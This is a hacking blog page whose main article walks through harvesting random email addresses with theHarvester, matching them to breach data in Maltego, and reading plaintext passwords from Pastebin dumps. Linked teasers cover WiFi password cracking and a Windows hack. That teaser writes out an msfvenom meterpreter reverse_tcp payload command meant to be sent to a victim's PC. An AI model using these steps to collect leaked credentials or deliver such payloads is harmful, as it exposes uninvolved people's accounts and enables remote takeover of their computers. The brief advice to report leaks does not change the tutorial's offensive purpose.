Skip to main content

How to find the password of hacked email addresses using OSINT

https://youtu.be/JAjVwf5NEOk

Open-source intelligence or OSINT is a potent technique, and it can give a lot of valuable information, if implemented correctly with the right strategy and correct tools. In this article, I will show you how a hacker can get passwords of thousands of email addresses without attacking the webserver or without using any other hacking technique; but, just using the power of OSINT.

You can implement all the techniques discussed in this article manually; however, to enhance the operation and to maximize the result, we will utilize Maltego along with a web service called Have I been Pwned?

Access the Hacked Passwords Systematically

Blackhat hackers usually post and publish data after hacking a webserver; for example, they dumped Linkedin hacked accounts and others. Let’s just fetch all this valuable information smartly. Tools used in this article:

  • theHarvester
  • Maltego
  • Have I been Pawned

I have discussed the configuration of Maltego with Have I been Pawned before; so, let’s just skip this part.

Step 1: Getting email addresses using the email harvesting tool, theHarvester

As a starting point, let’s search the google for email address using theHarvester tool.

# theHarvester -d hotmail.com -b google

Getting email addresses using the email harvesting tool, theHarvester

You can use any organization’s domain or any other specific target, if you have. A basic search gave us lots of information (54 email addresses) to begin. Let’s copy a few of them into the CSV file and import them into Maltego for further analysis. The reason for copying a few is the ease of maintaining the operation because, in the Maltego, you will see a massive connection of just a few email addresses.

Step 2: Importing the Data into Maltego for further analysis

Importing the Data into Maltego for further analysis

I am selecting the manual option, so no previous connection.

I am selecting the manual option, so no previous connection. Step 3: Find the breaches where the target email addresses appeared

Select all the email addresses, since I have only imported 11 of them, and run the Have I been Pawned transform to check whether the target email addresses been hacked before or not. If it is not the part of any breach, then just drop it; it’s of no use.

Find the breaches where the target email addresses appeared

There we can see so many email addresses appeared in many breaches. I have dropped some, two email addresses out of 11 because they did not appear in any breach.  Remember that we are just gathering information, not hacking or directly attacking any server; so, if an email was not got hacked before, it won’t be beneficial for us.

email was not got hacked beforeStep 4: Find the Plain Text Passwords of the Hacked Email addresses

The most common practice in the industry is to paste or dump the hacked email addresses details into Pastebin; it is a website where you can store text for some specific time. This time, let’s execute the  second  transform:

Find the Plain Text Passwords of the Hacked Email addressesEach email addresses appearing in many Pastebin text.

Each email addresses appearing in many Pastebin text.Open any Pastebin URL and analyze the data.

Open any Pastebin URL and analyze the dataWahoo, very recent data with the plain text password, email account, and the expiry date of a particular subscription, the blackhat guys use this information to ask a ransom. A common man does not know that someone published his confidential information online.

Step 5: Try to report it to the authority

Being a responsible cybersecurity professional, you should inform the authority or at least make sure that the hacked website or service should notify about changing the password to all its members.

Endnote

As you can see, the power of open-source intelligence gathering (OSINT), and we have started with just a random email acquired from the Google search. Imagine a malicious person with evil intent can do OSINT investigation against any specific target, let say an organization to check the employee details and possible passwords. And once the evil person got the password, he can further dig into the organization confidential information, or he can send his malware and backdoor to hack the entire organization. We have covered a similar story; you should this out.

Comments

Post a Comment

Popular posts from this blog

Cyber Crime | Various Cyber Crime And How To Be Safe From Cyber Crime?

What is Cyber Crime? Cyber Crime is a broad terminology used for the crimes that take place with control over  Networks  and  Computer . Various types of crimes can be committed using computers which are way more impactful than the physical crime scenarios. Hence Cyber Crimes has emerged as a  Big Threat  and continuously been raised problems in front of people who thinks online platform as a safe one. It has made a huge impact on the dependency of work that was a shift from manual to automatic through computers, as  data security  possesses a great risk. What are Various Cyber Crime? There are various ways by which Cyber Crime is being done. Following are some attacks listed that are used for implementing various Cyber Crimes on most of the occasions: Ransomware It is the most widely used  Cyber Crime for financial benefits . In this, the attacker finds a target system and implants any malware in it. This malware is programmed to encrypt the...
Post a Comment
Read more

How To Hack Wifi Password Using Kali Linux

Hello Friends! Today in this tutorial we’re going to discuss “how to hack wifi password using Kali Linux”. I generally use the Bruteforce attack to crack Wi-Fi password. In this attack, we make a monitor mode in the air by some commands that capture Wi-Fi password in the hash form. After capturing that hash form password we need to download a wordlist file, you can get it, by clicking here    . This list contains so many simple passwords. After doing this we use aircrack-ng tool to match the hashes of capture file with the password list. Once it finds a match, it will show you the correct password.  ALSO READ:-  How to hack android phone using Kali Linux? BruteForce Attack It is an attack in which an attacker create a password list which is full of common passwords. There is a tool present in Kali called aircrack-ng which try each and every password present in the wordlist very fast. Start by downloading a wordlist. This will help you later. Let’s begin, open up your...
Post a Comment
Read more

Hack a Windows Computer By Using a Simple Payload

Hello Friends! Today we learn “how to hack computers for beginners”.Before reading this blog, read my previous blog in which I show you  How To Hack Mobile Phone Using Kali Linux.   Similarly, You can hack windows by sending a payload to the victim’s PC. Once the user installs the payload your meterpreter session starts running and then you do anything with the victim’s PC. You can send this payload via social engineering and here lots of methods present to send that payload to the victim’s system. DON’T MISS:-  How To Hack Wifi Password Using Kali Linux?  Let’s Start, Open your terminal and type ifconfig to know your private IP. then type msfvenom -p windows/meterpreter/reverse_tcp lhost=’Your Private IP’ lport=4444 -f exe -a x86 > hackingblogs.exe and then hit enter and your payload for windows is ready. Your payload is present in the root folder. Now, transfer this payload to your victim’s PC. Now open your Metasploit by typing msfconsole After opening Met...
Post a Comment
Read more